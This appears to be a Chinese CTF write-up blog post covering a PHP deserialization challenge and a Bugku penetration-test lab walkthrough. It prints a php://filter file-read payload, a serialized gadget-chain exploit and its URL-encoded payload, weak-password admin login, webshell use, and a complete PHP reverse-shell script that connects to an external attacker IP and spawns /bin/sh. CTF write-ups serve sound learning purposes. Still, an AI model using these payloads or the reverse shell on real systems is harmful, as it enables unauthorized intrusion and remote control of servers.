web 留个记录点
目前web-033依然在更新,这个篇目留给其它题。
Web-unse 原始信息 如下:
 <?php      include ("./test.php" );     if (isset ($_GET ['fun' ])){         if (justafun ($_GET ['fun' ])){             include ($_GET ['fun' ]);         }     }else {         unserialize ($_GET ['yourcode' ]);     }     highlight_file (__FILE__ ); ?>  
 
解题 尝试使用伪协议进行攻击:
?fun=php://filter/read=convert.base64-encode/resource=test.php 
 
获取到的文件内容:
<?php       $test  = "Hello world" ; include  "flag.php" ;function  justafun ($filename  ) {    $result  = preg_match ("/flag|zlib|string/i" , $filename );     if ($result ){         return  FALSE ;     }     return  TRUE ; } class  afun   {     private  $a ;      function  __wakeup ( ) {          $temp  = $this ->a . 'ctf' ;      }  }  class  bfun   {     private  $items  = array ();      public  function  __toString ( )  {          $item  = $this ->items;          $str  = $item ['dd' ]->knife;          return  'what the good?' ;      }  }  class  cfun   {     private  $params  = array ();      public  function  __get ($key  )  {           global  $flag ;         $tmp  = $this ->params[$key ];         var_dump ($$tmp );      } } 
 
开始复写类,生成payload:
<?php class  afun  {    public  $a ;     public  function  __construct ( )      {        $this ->a = new  bfun ();     }     function  __wakeup ( )      {        $temp  = $this ->a . 'ctf' ;     } } class  bfun  {    public  $items ;     public  function  __construct ( )      {        $this ->items = array ('dd'  => new  cfun ());     }     public  function  __toString ( )      {        $item  = $this ->items;         $str  = $item ['dd' ]->knife;         return  'what the good?' ;     } } class  cfun  {    public  $params ;     public  function  __construct ( )      {        $this ->params = array ('knife'  => 'flag' );     }     public  function  __get ($key  )      {        global  $flag ;         $tmp  = $this ->params[$key ];         var_dump ($flag );         var_dump ($params );         var_dump ($$tmp );     } } $b  = new  afun ();echo  urlencode (serialize ($b ));
 
获得的内容如下:
?fun=O%3A4%3A%22afun%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A4%3A%22bfun%22%3A1%3A%7Bs%3A5%3A%22items%22%3Ba%3A1%3A%7Bs%3A2%3A%22dd%22%3BO%3A4%3A%22cfun%22%3A1%3A%7Bs%3A6%3A%22params%22%3Ba%3A1%3A%7Bs%3A5%3A%22knife%22%3Bs%3A4%3A%22flag%22%3B%7D%7D%7D%7D%7D 
 
放入url访问即可得到flag:
?yourcode=O%3A4%3A%22afun%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A4%3A%22bfun%22%3A1%3A%7Bs%3A5%3A%22items%22%3Ba%3A1%3A%7Bs%3A2%3A%22dd%22%3BO%3A4%3A%22cfun%22%3A1%3A%7Bs%3A6%3A%22params%22%3Ba%3A1%3A%7Bs%3A5%3A%22knife%22%3Bs%3A4%3A%22flag%22%3B%7D%7D%7D%7D%7D 
 
资料参考:https://blog.csdn.net/qq_42181428/article/details/87090539 
bugku - rip -渗透测试1 原始信息 一个站点。
解题 flag1 第一个flag:访问网站后查看网站源代码,搜索flag即可。
flag2 第二个flag:上一个flag末尾给出提示,下一个flag在管理员页面。尝试访问管理员页面 /admin ,弱口令爆破出账密 admin/admin 翻找的时候找到flag。
flag3 同时提示 /home
在后端找到一个php学习的站点,发现能直接执行php,尝试写个shell。
写完后使用菜刀直接连接,转到home目录下,找到flag:
新的提示信息:root and database
flag4 提示使用database搞事情
菜刀不知道怎的搞不来,使用蚁剑链接测试:
连接上得到flag后,看到新的提示是用nc过pwn,使用nc去试试:
flag5 本想使用nc反弹shell,现在看来只能使用其它办法了.
这是某位博主的脚本:
<?php set_time_limit  (0 );$VERSION  = "1.0" ;$ip  = '1.12.x.x' ;  $port  = 4567 ;       $chunk_size  = 1400 ;$write_a  = null ;$error_a  = null ;$shell  = 'uname -a; w; id; /bin/sh -i' ;$daemon  = 0 ;$debug  = 0 ;if  (function_exists ('pcntl_fork' )) {                 $pid  = pcntl_fork ();         if  ($pid  == -1 ) {                 printit ("ERROR: Can't fork" );                 exit (1 );         }         if  ($pid ) {                 exit (0 );           }         if  (posix_setsid () == -1 ) {                 printit ("Error: Can't setsid()" );                 exit (1 );         }         $daemon  = 1 ; } else  {         printit ("WARNING: Failed to daemonise.  This is quite common and not fatal." ); } chdir ("/" );umask (0 );$sock  = fsockopen ($ip , $port , $errno , $errstr , 30 );if  (!$sock ) {        printit ("$errstr  ($errno )" );         exit (1 ); } $descriptorspec  = array (   0  => array ("pipe" , "r" ),      1  => array ("pipe" , "w" ),      2  => array ("pipe" , "w" )    ); $process  = proc_open ($shell , $descriptorspec , $pipes );if  (!is_resource ($process )) {        printit ("ERROR: Can't spawn shell" );         exit (1 ); } stream_set_blocking ($pipes [0 ], 0 );stream_set_blocking ($pipes [1 ], 0 );stream_set_blocking ($pipes [2 ], 0 );stream_set_blocking ($sock , 0 );printit ("Successfully opened reverse shell to $ip :$port " );while  (1 ) {        if  (feof ($sock )) {                 printit ("ERROR: Shell connection terminated" );                 break ;         }         if  (feof ($pipes [1 ])) {                 printit ("ERROR: Shell process terminated" );                 break ;         }         $read_a  = array ($sock , $pipes [1 ], $pipes [2 ]);         $num_changed_sockets  = stream_select ($read_a , $write_a , $error_a , null );         if  (in_array ($sock , $read_a )) {                 if  ($debug ) printit ("SOCK READ" );                 $input  = fread ($sock , $chunk_size );                 if  ($debug ) printit ("SOCK: $input " );                 fwrite ($pipes [0 ], $input );         }         if  (in_array ($pipes [1 ], $read_a )) {                 if  ($debug ) printit ("STDOUT READ" );                 $input  = fread ($pipes [1 ], $chunk_size );                 if  ($debug ) printit ("STDOUT: $input " );                 fwrite ($sock , $input );         }         if  (in_array ($pipes [2 ], $read_a )) {                 if  ($debug ) printit ("STDERR READ" );                 $input  = fread ($pipes [2 ], $chunk_size );                 if  ($debug ) printit ("STDERR: $input " );                 fwrite ($sock , $input );         } } fclose ($sock );fclose ($pipes [0 ]);fclose ($pipes [1 ]);fclose ($pipes [2 ]);proc_close ($process );function  printit  ($string  )  {        if  (!$daemon ) {                 print  "$string \n" ;         } } ?> 
 
pwn题难,先略。
flag6 端口扫描+每个开放端口的对应敏感文件探测。
nmap扫端口:
工具扫敏感文件:
访问出flag: